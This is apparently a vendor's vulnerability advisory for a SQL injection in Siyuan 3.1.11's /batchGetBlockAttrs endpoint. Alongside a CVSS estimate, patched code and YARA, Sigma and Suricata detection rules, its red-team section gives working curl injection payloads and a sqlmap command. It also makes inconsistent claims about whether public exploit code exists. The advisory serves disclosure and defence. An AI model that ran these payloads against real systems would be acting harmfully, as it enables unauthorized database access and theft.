CVE-2024-53506
Executive Summary
CVE-2024-53506 identifies a critical SQL injection vulnerability in Siyuan version 3.1.11, specifically within the /batchGetBlockAttrs endpoint. The flaw resides in the ids array parameter, which is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, data manipulation, or complete database compromise. The vulnerability has a CVSS score of 0.0 in the NVD data, but this is likely a placeholder; the actual severity is high due to the ease of exploitation and potential impact. No official patch has been released, and no public exploit code is available, but the attack vector is well-understood.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Siyuan application, which is a self-hosted note-taking and knowledge management system. It is not an NPM, PyPI, Go, or Ruby package, but rather a standalone application. However, users who deploy Siyuan via Docker or other containerized environments should consider the supply chain risk of running an unpatched version. The vulnerability could be exploited to compromise the underlying host if the database is co-located.
CVSS Breakdown & Threat Level
While the official CVSS score is listed as 0.0, this is likely an error or placeholder. Based on the vulnerability description, a more realistic assessment is:
- Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full database read access is possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Database can be disrupted or destroyed.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)
Deep Dive & Mechanics
The vulnerability exists in the /batchGetBlockAttrs API endpoint, which is designed to retrieve attributes for multiple blocks in a single request. The endpoint accepts a JSON payload with an ids array parameter. The application fails to properly sanitize or parameterize the SQL query when processing this array, allowing an attacker to inject malicious SQL code.
Technical Details:
Endpoint:
/batchGetBlockAttrsMethod: POST
Parameter:
ids(array of strings)Vulnerable Code Path: The application likely constructs a SQL query like:
SELECT * FROM blocks WHERE id IN ('id1', 'id2', ...)Without proper escaping, an attacker can inject a payload such as:
{"ids": ["1' OR '1'='1", "2"]}This would result in:
SELECT * FROM blocks WHERE id IN ('1' OR '1'='1', '2')Which would return all blocks due to the
OR '1'='1'condition.Impact: An attacker can:
- Extract sensitive data from the database (e.g., user credentials, notes, tokens).
- Modify or delete data.
- Potentially execute operating system commands if the database user has sufficient privileges (e.g.,
xp_cmdshellin SQL Server orCOPY ... FROM PROGRAMin PostgreSQL).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable Python example
def batch_get_block_attrs(ids):
ids_str = "', '".join(ids)
query = f"SELECT * FROM blocks WHERE id IN ('{ids_str}')"
cursor.execute(query)
Patched Code (Conceptual):
# Patched Python example using parameterized queries
def batch_get_block_attrs(ids):
placeholders = ', '.join(['%s'] * len(ids))
query = f"SELECT * FROM blocks WHERE id IN ({placeholders})"
cursor.execute(query, ids)
The patched version uses parameterized queries, which ensure that user input is treated as data, not executable code. This prevents SQL injection entirely.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy Siyuan 3.1.11 in a Docker container:
docker run -d -p 6806:6806 --name siyuan-vuln b3log/siyuan:3.1.11 - Access the web interface at
http://localhost:6806.
Exploitation Steps:
- Identify the vulnerable endpoint by sending a POST request to
/batchGetBlockAttrswith a valid payload:curl -X POST http://localhost:6806/batchGetBlockAttrs \ -H "Content-Type: application/json" \ -d '{"ids": ["test"]}' - Inject SQL to extract data. For example, to retrieve all table names (assuming SQLite):
curl -X POST http://localhost:6806/batchGetBlockAttrs \ -H "Content-Type: application/json" \ -d '{"ids": ["1' UNION SELECT name, sql, NULL FROM sqlite_master WHERE type='table'--"]}' - Use a tool like
sqlmapfor automated exploitation:sqlmap -u "http://localhost:6806/batchGetBlockAttrs" \ --data='{"ids": ["1"]}' \ --batch --dbs
Note: No public exploit code is available, but the above manual technique is sufficient.
Blue Team (Defensive)
Detection:
- Monitor for unusual POST requests to
/batchGetBlockAttrswith JSON payloads containing SQL keywords (e.g.,UNION,SELECT,OR). - Look for error messages in logs that indicate SQL syntax errors.
- Use a Web Application Firewall (WAF) to block common SQL injection patterns.
Mitigation:
- Immediately upgrade to a patched version if available.
- If no patch exists, implement a virtual patch by blocking the endpoint or adding input validation.
- Use parameterized queries in the application code.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/batchGetBlockAttrswith JSON payloads containing SQL keywords. - Unusual database error messages in HTTP responses (e.g.,
SQLite::SQLException).
- POST requests to
- File IOCs:
- Modified database files (e.g.,
siyuan.db) with unexpected entries.
- Modified database files (e.g.,
- Log IOCs:
- Application logs showing SQL syntax errors or unexpected query patterns.
Detection Engineering
YARA Rule
rule CVE_2024_53506_SQLi_Siyuan {
meta:
description = "Detects SQL injection attempts against Siyuan /batchGetBlockAttrs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-53506"
strings:
$sqli1 = /UNION\s+SELECT/i
$sqli2 = /OR\s+'1'='1/i
$sqli3 = /OR\s+1=1/i
$sqli4 = /--\s*$/m
$sqli5 = /';\s*DROP\s+TABLE/i
condition:
any of ($sqli*) and
#content_type == "application/json"
}
Sigma Rule
title: SQL Injection Attempt Against Siyuan /batchGetBlockAttrs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in POST requests to Siyuan's batchGetBlockAttrs endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: POST
http.url: "/batchGetBlockAttrs"
http.content_type: "application/json"
keywords:
- "UNION SELECT"
- "OR '1'='1"
- "OR 1=1"
- "DROP TABLE"
- "';"
condition: selection and keywords
falsepositives:
- Legitimate use of these strings in block IDs (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-53506 SQL Injection Attempt Against Siyuan /batchGetBlockAttrs";
flow:to_server,established;
content:"POST"; http_method;
content:"/batchGetBlockAttrs"; http_uri;
content:"application/json"; http_content_type;
pcre:"/(UNION\s+SELECT|OR\s+'1'='1|OR\s+1=1|DROP\s+TABLE|';)/i";
sid:1000001;
rev:1;
reference:cve,2024-53506;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the vulnerable system from the internet if possible.
- Implement a WAF rule to block SQL injection patterns at the perimeter.
- Disable the
/batchGetBlockAttrsendpoint if not essential.
Long-term Fix:
- Upgrade Siyuan to a patched version once available.
- Apply input validation to ensure the
idsarray contains only expected characters (e.g., alphanumeric and hyphens). - Use parameterized queries in the application code to prevent SQL injection.
Workaround:
- If patching is not possible, consider using a reverse proxy (e.g., Nginx) to block requests to the vulnerable endpoint:
location /batchGetBlockAttrs { deny all; return 403; }
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.